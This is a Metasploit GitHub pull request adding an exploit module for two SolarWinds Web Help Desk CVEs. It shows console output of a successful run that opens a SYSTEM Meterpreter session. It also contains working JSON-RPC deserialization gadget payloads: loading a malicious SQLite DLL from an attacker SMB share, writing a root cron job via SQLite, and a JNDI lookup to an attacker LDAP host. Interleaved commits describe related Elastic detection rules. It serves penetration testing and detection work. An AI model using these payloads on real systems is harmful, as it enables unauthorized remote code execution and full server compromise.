Skip to content

Add exploit module for SolarWinds Web Help Desk (CVE-2025-40536 + CVE-2025-40551)#20917

Merged
dledda-r7 merged 17 commits intorapid7:masterfrom
sfewer-r7:solarwinds-webhelpdesk-rce
Feb 13, 2026
Merged

Add exploit module for SolarWinds Web Help Desk (CVE-2025-40536 + CVE-2025-40551)#20917
dledda-r7 merged 17 commits intorapid7:masterfrom
sfewer-r7:solarwinds-webhelpdesk-rce

Conversation

@sfewer-r7
Copy link
Copy Markdown
Contributor

@sfewer-r7 sfewer-r7 commented Jan 30, 2026

Overview

This is a (draft) pull request to add an exploit module for the SolarWinds Web Help Desk vulnerabilities CVE-2025-40536 and CVE-2025-40551.

The module is based off the Nuclei template by horizon3.ai, except I have added a custom gadget to achieve RCE on Windows targets.

To-Do

  • Add a Linux target. Likely needing an alternative gadget. We can leverage the SQLite technique for a dirty file write which will likely let us drop a cron job for RCE.
  • Documentation

Example

NOTE: If you are using the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your own payloads.

NOTE: You need to run MSF as root so you can bind to a low port (445 for the SMB server). Also, open your firewall for ingress connections.

msf exploit(multi/http/solarwinds_webhelpdesk_rce) > show options 

Module options (exploit/multi/http/solarwinds_webhelpdesk_rce):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   JOHNPWFILE                   no        Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can al
                                          so be a path.
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h
   RHOSTS      192.168.86.146   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       8443             yes       The target port (TCP)
   SRVHOST     192.168.86.122   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresse
                                          s.
   SRVPORT     445              yes       The local port to listen on.
   SSL         true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       Base path
   VHOST                        no        HTTP server virtual host


Payload options (windows/x64/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       eth0             yes       The listen address (an interface may be specified)
   LPORT       4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows (Native code dropper)



View the full module info with the info, or info -d command.

msf exploit(multi/http/solarwinds_webhelpdesk_rce) > check
[*] 192.168.86.146:8443 - Cannot reliably check exploitability. Step 1 - Connection failed
msf exploit(multi/http/solarwinds_webhelpdesk_rce) > check
[+] 192.168.86.146:8443 - The target is vulnerable. Detected Web Help Desk version 12.8.8.2528 (windows).
msf exploit(multi/http/solarwinds_webhelpdesk_rce) > exploit 
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
msf exploit(multi/http/solarwinds_webhelpdesk_rce) > [+] The target is vulnerable. Detected Web Help Desk version 12.8.8.2528 (windows).
[*] Step 0 - Starting SMB service...
[*] Server is running. Listening on 192.168.86.122:445
[*] Server started.
[*] Malicious SQLite extension UNC: \\192.168.86.122\iBfAAI\OWxxD.dll
[*] Step 1 - Initial session...
[*] Step 2 - Login pref page...
[*] Step 3 - Trigger SAML object...
[*] Step 4 - Create JSON RPC bridge...
[*] Step 5 - Registering the org.sqlite.JDBC driver...
[*] Step 6 - Loading malicious extension over SMB...
[*] Meterpreter session 2 opened (192.168.86.122:4444 -> 192.168.86.146:53030) at 2026-01-30 22:04:02 +0000

msf exploit(multi/http/solarwinds_webhelpdesk_rce) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > pwd
C:\Program Files\WebHelpDesk\bin\webapps\helpdesk
meterpreter > 

Copy link
Copy Markdown

@mfreeman451 mfreeman451 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lgtm

Samirbous added a commit to elastic/detection-rules that referenced this pull request Feb 2, 2026
…rocess

Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL).
This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of
deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious
SQLite extensions and achieve remote code execution.

https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/

rapid7/metasploit-framework#20917
…n can cause a timeout and the service will restart. The MSF session is not affected by this. And the target is re-exploitable after service restarts.
…ts must be POST and not GET, however on newer versiosn 12.8.* they must be GET
Samirbous added a commit to elastic/detection-rules that referenced this pull request Feb 4, 2026
* [New] Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL).
This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of
deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious
SQLite extensions and achieve remote code execution.

https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/

rapid7/metasploit-framework#20917

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

---------

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
@sfewer-r7
Copy link
Copy Markdown
Contributor Author

Taking this pull request our of draft. We now have a selection of gadgets to target different versions.

Version 12.8.* targets on Windows

We use a custom (novel?) gadget chain to execute arbitrary SQL via a SQLite database connection. The trick is to leverage the com.zaxxer.hikari.HikariDataSource class to execute arbitrary SQL once a successful DB connection has been made. We then force a connection to a SQLite DB to occur via org.sqlite.SQLiteDataSource, and choose an in-memory DB so we know the connection will be successful (and conveniently not touch disk). We also pass the pragma enable_load_extension=true which will allow us to load a native code extension (i.e. a DLL). We supply a UNC path to a remote share for a Metasploit payload. When this chain executes we get RCE. The JDBC driver org.sqlite.JDBC will not be registered in the system, so we begin by simply instantiation this class, as there is a static initializer which will register the driver for us. The whole thing looks like this:

gadgets.push({
  title: 'Registering the org.sqlite.JDBC driver',
  json_data: {
    'javaClass' => 'org.sqlite.JDBC'
  }
})

gadgets.push({
  title: 'Loading malicious extension over SMB',
  json_data: {
    'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
    'driverClassName' => 'org.sqlite.SQLiteDataSource',
    'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
    'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
  }
})

Version 12.8.* targets on Linux

For these targets we can use the above SQLite load_extension technique, but Linux wont read from UNC paths. Instead we leverage a dirty-file-write to drop a malicious cron job. The whole thing looks like this:

gadgets.push({
  title: 'Registering the org.sqlite.JDBC driver',
  json_data: {
    'javaClass' => 'org.sqlite.JDBC'
  }
})

gadgets.push({
  title: "Creating file in /etc/cron.d/#{random_name}",
  json_data: {
    'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
    'driverClassName' => 'org.sqlite.SQLiteDataSource',
    'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
    'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
  }
})

gadgets.push({
  title: "Dirty file write to /etc/cron.d/#{random_name}",
  json_data: {
    'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
    'driverClassName' => 'org.sqlite.SQLiteDataSource',
    'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
    'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
  }
})

This should work, but in my testing the cron daemon on my Ubuntu 22.04 system would not parse the file, failing with errors like cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5 or cron[427]: (*system*haxb) ERROR (Syntax error, this crontab file will be ignored).

I have left this target in the module as some cron daemons might parse the file. The SolarWinds docs recommend Red Hat Linux which I have note tested.

Version 12.7.* targets on Windows or Linux

We use a known technique for these older versions of the product, and leverage ch.qos.logback.core.db.JNDIConnectionSource to load a class over LDAP. Calling setJndiLocation during deserialization forces an javax.naming.InitialContext lookup to be performed on our attacker controlled JNDI location.

gadgets.push({
  title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
  json_data: {
    'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
    'jndiLocation' => jndi_string
  }
})

@sfewer-r7 sfewer-r7 marked this pull request as ready for review February 4, 2026 20:55
@smcintyre-r7 smcintyre-r7 moved this from Todo to Ready in Metasploit Kanban Feb 5, 2026
…annot change it. We print a message to inform the user this port is intended to be in use so that the SMB server is not compleatly opaque.
…ARTS due to how the 12.8.* target on Windows works.
eric-forte-elastic pushed a commit to elastic/detection-rules that referenced this pull request Feb 9, 2026
* [New] Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL).
This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of
deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious
SQLite extensions and achieve remote code execution.

https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/

rapid7/metasploit-framework#20917

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

---------

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
eric-forte-elastic pushed a commit to elastic/detection-rules that referenced this pull request Feb 9, 2026
* [New] Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL).
This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of
deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious
SQLite extensions and achieve remote code execution.

https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/

rapid7/metasploit-framework#20917

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

---------

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
eric-forte-elastic pushed a commit to elastic/detection-rules that referenced this pull request Feb 9, 2026
* [New] Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL).
This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of
deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious
SQLite extensions and achieve remote code execution.

https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/

rapid7/metasploit-framework#20917

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

---------

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
eric-forte-elastic pushed a commit to elastic/detection-rules that referenced this pull request Feb 9, 2026
* [New] Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL).
This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of
deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious
SQLite extensions and achieve remote code execution.

https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/

rapid7/metasploit-framework#20917

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

* Update rules/windows/initial_access_potential_webhelpdesk_exploit.toml

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>

---------

Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
@github-project-automation github-project-automation bot moved this from Ready to In Progress in Metasploit Kanban Feb 13, 2026
@dledda-r7 dledda-r7 merged commit a4ec3cd into rapid7:master Feb 13, 2026
18 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Feb 13, 2026
@dledda-r7
Copy link
Copy Markdown
Contributor

dledda-r7 commented Feb 13, 2026

Release Notes

This adds an exploit module for SolarWinds Web Help Desk vulnerable to CVE-2025-40536 and CVE-2025-40551. The exploit triggers session opening as NT AUTHORITY\SYSTEM and root.

@cgranleese-r7 cgranleese-r7 added module rn-modules release notes for new or majorly enhanced modules labels Feb 13, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants